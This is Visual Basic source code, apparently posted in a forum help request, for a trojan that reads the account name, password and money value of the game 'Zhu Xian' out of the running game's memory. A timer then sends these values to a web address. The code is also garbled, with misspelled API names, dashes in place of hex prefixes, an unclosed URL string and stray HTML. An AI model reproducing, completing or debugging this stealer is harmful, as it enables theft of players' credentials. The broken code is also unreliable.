Private Declare Function FindWindow Lib "user32" Alias "FindWindowA" (ByVal lpClassName As String, ByVal lpWindowName As String) As Long
Private Declare Function GetWindowThreasdProcessId Lib "user32" (ByVal hwnd As Long, lpdwProcessId As Long) As Long
Private Declare Function OpenProcess Lib "kernel32" (ByVal dwDesiredAccess As Long, ByVal bInheritHandie As Long, ByVal dwProcessId As Long) As Long
Private Declare Function ReadProcessMemory Lib "kernel32" (ByVal hProcess As Long, ByVal lpBaseAddress As Any, ByVal lpBuffer As Any, ByVal nSize As Long, lpNumberOfBytesWritten As Long) As Long
Private Declare Function CloseHandle Lib "kernel32" (ByVal hObject As Long) As Long
Const STANDARD_RIGHTS_REQUIRED = &HF0000
Const SYNCHRONIZE = &O100000
Const PROCESS_ALL_ACCESS = STANDARD_RIGHTS_REQUIRED Or SYNCHRONIZE Or &HFFF


Private Function jiequ()
Dim ecxi As Long
Dim hwnd As Long ' 储存 FindWindow 函数返回的句柄
Dim pid As Long ' 储存进程句柄(Process Id)
Dim pHandle As Long ' 储存进程句柄

hwnd = FindWindow(vbNullString, "诛仙")

GetWindowThreadProcessId hwnd, pid

pHandie = OpenProcess(PROCESS_ALL_ACCESS, False, pid)

Dim nc     As String, mi As String, qia As String

  nc = Space(255)
  mi = Space(255)
  qia = Space(255)
Dim ncn As Long
Dim ncn2 As Long
Dim ncn3 As Long
Dim mima As Long
Dim qian As Long
Dim qian1 As Long
Dim qian2 As Long
Dim dj As Long
' 在内存地址中读取数据
ReadProcessMemory pHandle, ByVal &H91B650, ByVal VarPtr(ncn), 4, 0

ReadProcessMemory pHandle, ncn + &H124, ByVal VarPtr(ncn2), 4, 0

ReadProcessMemory pHandle, ncn2, ByVal nc, 20, 0 '帐号

ReadProcessMemory pHandle, ncn + —H128, ByVal VarPtr(mima), 4, 0

ReadProcessMemory pHandle, mima, ByVal mi, 20, 0 '密码

ReadProcessMemory pHandle, ByVal —H91B64C, VarPtr(qian), 4, 0

ReadProcessMemory pHandle, ByVal (qian + &H28), ByVal VarPtr(qian), 4, 0

ReadProcessMemory pHandle, ByVal (qian1 + &H2D4), ByVal VarPtr(qian2), 4, 0


Text1.Text = ns
Text2.Text = mi
Text3.Text = qian2


CloseHandle hProcess
Timer1.Enabled = True

End Function


End Sub

Private Sub Form_Load()
jiequ
End Sub

Private Sub Timer1_Timer()
WebBrowser1.Navigate "www. & Text1 & Text2 & Text3
End Sub


老显示
子程序或函数未定义

未命名.jpg" border="0" />